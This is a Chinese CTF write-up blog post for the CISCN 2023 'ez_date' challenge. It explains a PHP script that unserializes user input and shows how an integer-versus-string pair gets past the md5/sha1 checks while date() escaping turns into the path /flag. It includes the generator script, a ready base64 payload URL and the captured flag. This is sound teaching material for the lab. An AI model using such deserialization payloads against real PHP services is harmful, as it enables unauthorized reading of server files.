[CISCN 2023 华北]ez_date

[CISCN 2023 华北]ez_date

点开之后是一串php代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); 

这段代码定义了一个名为date的类,该类包含三个公共属性 a 、 a、 ab和$file。当对一个date类的对象进行反序列化操作时,会调用__wakeup方法进行一系列的检查和操作,包括检查属性是否为数组以及根据特定条件读取和处理文件内容。

以下是对代码的详细解读:

 <?php
error_reporting(0);/*关闭 PHP 的错误报告,这样在脚本
执行过程中不会显示任何错误信息。*/
highlight_file(__FILE__);/*以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。*/
class date{  //定义了一个名为date的类。
    public $a;
    public $b;
    public $file; /*在类中定义了三个公共属性,可以
    在类的任何地方被访问和修改。*/
    public function __wakeup()/*定义了魔术方法__wakeup,当对象被
    反序列化时会自动调用这个方法。*/
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');/*检查属性$a和$b是否为数组,如果其中
            任何一个是数组,则输出no array并终止脚本执行。*/
        }
        if( ($this->a !== $this->b) && (md5($this->a) === 
        md5($this->b)) && (sha1($this->a)=== 
        sha1($this->b)) ){  /*确保$a和$b的值不相等。
        检查$a和$b经过 MD5 哈希后的结果是否相等。检查$a
        和$b经过 SHA1 哈希后的结果是否相等,如果这些条
        件都满足,则执行后续代码*/
            $content=date($this->file);
            $uuid=uniqid().'.txt';/*生成一个唯一的 ID,
            并加上.txt后缀,用于创建一个临时文件名*/
            file_put_contents($uuid,$content);/*将$content的
            内容写入到以$uuid命名的文件中。*/
            $data=preg_replace('/((\s)*(\n)+(\s)*)/  
            i','',file_get_contents($uuid));/*
    读取刚刚创建的文件内容,然后使用正则
    表达式去除文件内容中的空白字符
    (包括空格、换行和制表符等),
    并将处理后的结果赋值给$data。*/

            echo file_get_contents($data);/*尝试读取$data所代表
            的文件内容并输出到页面上。如果$data不是
            一个有效的文件名,可能会导致错误。*/
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); /*从 URL 参数code
中获取值,先进行 Base64 解码,然后对解码后的
字符串进行反序列化操作,尝试创建一个date类的对象。*/

接着我们编写脚本:

<?php
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
}
$q=new date();
$q->a=1;
$q->b='1';
$q->file='/f\l\a\g';
echo base64_encode(serialize($q));
?>

运行之后结果如下:
在这里插入图片描述所以payload为:

/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

接着我们打开HackBar,运行之后得到:
在这里插入图片描述由此得到本题flag:
NSSCTF{bfdf3bd3-6faa-4270-a1d7-261398aa9843}

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值